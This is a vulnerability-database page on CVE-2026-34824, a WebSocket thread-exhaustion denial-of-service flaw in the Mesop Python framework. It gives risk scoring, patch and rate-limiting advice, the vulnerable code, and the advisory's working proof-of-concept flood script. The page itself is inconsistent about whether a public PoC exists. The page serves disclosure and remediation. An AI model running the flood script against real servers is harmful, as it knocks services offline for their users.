Skip to main content

Python CVE-2026-34824

HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-04-03 https://github.com/mesop-dev/mesop GHSA-3jr7-6hqp-x679
7.5
CVSS 3.1 · Vendor: https://github.com/mesop-dev/mesop
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send rapid WebSocket messages
  2. Delivery
    Trigger unbounded thread creation
  3. Exploit
    Exhaust system thread pool
  4. Execution
    Consume all available memory
  5. Impact
    Crash application with OOM error

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated attacker can exploit any Mesop framework application by sending rapid WebSocket messages to exhaust server threads and trigger OOM DoS. Default configurations are vulnerable.

Impact

Real-world risk is elevated despite moderate CVSS 7.5 scoring. Attack vector is network-based (AV:N) with low complexity (AC:L) and zero authentication (PR:N), meaning any internet-reachable Mesop deployment is trivially exploitable. The provided proof-of-concept demonstrates that 50,000 messages from a single client crashes the server within seconds using only the websocket-client Python library-no sophisticated tooling required. While EPSS probability is not provided in the data, the combination of publicly available exploit code, zero authentication barrier, and single-packet exploit capability indicates high automatable risk. CISA KEV status is not confirmed, suggesting no widespread active exploitation detected yet. However, the technical barrier is negligible: any attacker with basic Python skills can reproduce the attack. SSVC assessment would likely classify this as Automatable (yes), Technical Impact (partial-availability only), and Exploitation (POC). The narrow impact scope (availability only, no confidentiality/integrity) moderates severity, but for production deployments where uptime is critical, this represents an unacceptable operational risk until patched.

Exploit ScenarioDerived

An attacker identifies a publicly accessible Mesop application (e.g., a data dashboard or admin portal) and connects to its WebSocket endpoint at ws://target.example.com/__ui__. Using the provided proof-of-concept script with the websocket-client library, they transmit 50,000 base64-encoded empty messages in rapid succession from a single laptop. Each message forces the server to spawn a new OS thread via threading.Thread without any queuing or pooling logic. Within 10-30 seconds, the server exhausts available memory and thread limits, triggering Out of Memory errors and process crash. All legitimate users lose access to the application until manual restart. The attack requires no authentication, leaves minimal forensic traces (standard WebSocket traffic), and can be repeated indefinitely to maintain prolonged downtime.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 03, 2026

Thread exhaustion in Mesop WebSocket handler (pkg:pip/mesop) allows unauthenticated remote attackers to crash applications via message flooding. The framework spawns unbounded OS threads for each received WebSocket message without rate limiting or pooling, enabling complete denial of service with minimal bandwidth. CVSS 7.5 (High). Publicly available exploit code exists. EPSS data not provided, but the low attack complexity (AC:L) and zero authentication requirement (PR:N) combined with working proof-of-concept significantly elevate real-world exploitation risk. Vendor-released patch available in version 1.2.5 (commit 760a207).

RemediationAI

Upgrade immediately to Mesop version 1.2.5 or later, released by the vendor to address this vulnerability. The patch commit (760a2079b5c609038c826d24dfbcf9b0be98d987) implements bounded concurrency controls to prevent thread exhaustion. Download the patched version from PyPI via pip install --upgrade mesop or from the GitHub release at https://github.com/mesop-dev/mesop/releases/tag/v1.2.5. If immediate upgrade is not feasible, implement network-level rate limiting on the WebSocket endpoint (/__ui__) using reverse proxy rules (e.g., Nginx limit_req, AWS WAF rate-based rules) to restrict message frequency per source IP. However, network controls are a temporary mitigation only-the architectural fix in version 1.2.5 is essential for long-term security. Verify patch application by reviewing server logs for abnormal thread counts during load testing. Consult the full vendor advisory at https://github.com/mesop-dev/mesop/security/advisories/GHSA-3jr7-6hqp-x679 for additional deployment guidance.

Affected Packages

pypi mesop fix: 1.2.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mesop is a Python-based web framework for building UI applications. The vulnerability resides in mesop/server/server.py within the handle_websocket function, which processes incoming WebSocket messages on the /__ui__ endpoint. For every parsed ui_request message, the server spawns a new threading.Thread with daemon=True to handle the request via ws_generate_data. This design lacks fundamental concurrency controls: no thread pool bounds (e.g., ThreadPoolExecutor with max_workers), no message queue with backpressure, and no per-connection rate limiting. The root cause aligns with CWE-400: Uncontrolled Resource Consumption, specifically thread exhaustion leading to Out of Memory conditions. Python's threading.Thread creates native OS threads, so an attacker sending thousands of rapid-fire messages directly translates to thousands of concurrent OS threads, overwhelming system resources regardless of message content complexity.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/mesop-dev/mesop) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Primary rating from Vendor (https://github.com/mesop-dev/mesop) · only source for this CVE.

CVSS VectorVendor: https://github.com/mesop-dev/mesop

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Patch released
Apr 03, 2026 - 22:15 nvd
Patch available
CVE Published
Apr 03, 2026 - 21:54 nvd
HIGH 7.5

DescriptionCVE.org

Summary

An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.

Details

The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.

There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.

*Vulnerable code snippet in mesop/server/server.py:*

python
while True:
    message = ws.receive()
    if not message:
        continue
# ... message parsing logic ...
# VULNERABILITY: Spawning a new thread for every single message without limits
    thread = threading.Thread(
        target=copy_current_request_context(ws_generate_data),
        args=(ws, ui_request),
        daemon=True,
    )
    thread.start()

PoC

To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.

Prerequisites:

Python environment with the websocket-client library installed (pip install websocket-client).

A target Mesop application running locally (e.g., http://localhost:8080).

Steps to reproduce:

Start the target Mesop application.

Save the following script as exploit_dos.py.

Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.

import websocket
import base64
# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"
# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode`
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')

def flood_server():
    ws = websocket.WebSocket()
    try:
        ws.connect(TARGET_WS_URL)
        print("[+] Connection established. Initiating thread exhaustion attack...")
# Rapidly send 50,000 messages to force the server to spawn 50,000 threads
        for i in range(50000):
            ws.send(EMPTY_UI_REQUEST_B64)

        print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
        ws.close()
    except Exception as e:
        print(f"[-] Connection closed or server crashed: {e}")

if __name__ == "__main__":
    flood_server()

Impact

Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.

Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.

Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.

Mitigation (Recommended Fixes):

Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads

Executive ViewAI

Why It Matters

Mesop versions prior to 1.2.5 contain a thread exhaustion vulnerability in the WebSocket handler that allows unauthenticated attackers to crash production applications through message flooding, resulting in complete service unavailability. Organizations running affected Mesop instances face immediate denial-of-service risk with minimal attacker effort, directly impacting application availability and user experience.

Business Impact: High
Compensating Controls

Apply vendor patch (Mesop 1.2.5 or later). Interim mitigations if patching is delayed: implement network-level rate limiting on WebSocket endpoints, configure connection timeout policies, and deploy Web Application Firewall (WAF) rules to throttle requests from single sources; monitor application thread pool metrics and set alerting thresholds to detect exploitation attempts.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Threat Intel
1
1 source
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GHSA CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:pip/mesop

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy